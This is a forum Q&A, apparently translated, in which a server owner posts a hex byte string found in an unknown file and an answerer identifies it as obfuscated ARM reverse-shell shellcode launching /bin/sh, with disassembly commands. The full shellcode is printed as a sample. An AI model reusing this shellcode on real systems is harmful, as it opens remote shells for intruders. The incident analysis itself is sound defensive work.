【问题标题】:Cannot decode shellcode found on my server无法解码在我的服务器上找到的 shellcode
【发布时间】:2023-01-23 08:58:29
【问题描述】:

今天我对我的网站运行缓慢感到震惊,所以我决定看看哪里出了问题。查看 apache2,服务器带宽,配置不正确,找不到任何东西。所以一时兴起,我打开了一个我不知道存在的随机文件,至少我没有把它放在那里。

这是我在文件中找到的代码:

\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde

谁能把我推向正确的方向..?它看起来像一些恶意的 shell 代码。我试图对其进行解码,但无法弄清楚它是如何编码的。

谢谢!

我试过 Ascii 转文本、二进制转文本、base64 转文本。当我尝试从 ascii 解码为文本时,我发现的唯一有用的文本是 /bin/。

【问题讨论】:

  • 您应该提供更多相关信息(例如体系结构等)。通常,以二进制形式注入的 shellcode(我猜是 ELF 文件,我猜是因为你说的是​​ apache2...),它将是汇编代码。因此,您必须将该字节字符串反汇编为汇编代码。

标签: binary ascii decode encode shellcode


【解决方案1】:

好像是ARM reverse shell bin/sh shellcode。

分析

如果每四个字节的第一个半字节是“e”,那么它很可能是ARM代码。这是因为条件执行(总是执行)。在这种情况下,第四个和八个字节是 e2 和 e1。

要转换为 ELF 文件并查看反汇编,您可以执行以下操作:

$ arm-none-eabi-objcopy -I binary -O elf32-littlearm data.bin data.elf
$ arm-none-eabi-objdump -D data.elf

前两条指令处于 ARM 模式,从地址 8 开始跳转到 thumb 模式。

   0:   e28f1001        add     r1, pc, #1
   4:   e12fff11        bx      r1

你可以看看拇指代码

arm-none-eabi-objdump -M force-thumb -D data.elf

拇指代码然后发出一些系统调用,并修改自身以修补空字节并添加一些混淆,使我们的生活更加艰难。

我搜索了系统调用和一些常量,发现了这个:https://packetstormsecurity.com/files/151392/Linux-ARM-Reverse-Shell-Shellcode.html 不完全相同,但非常相似。您提供的代码添加了一些混淆,并且 IP 地址/端口已更改。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-03-29
    • 2017-09-18
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多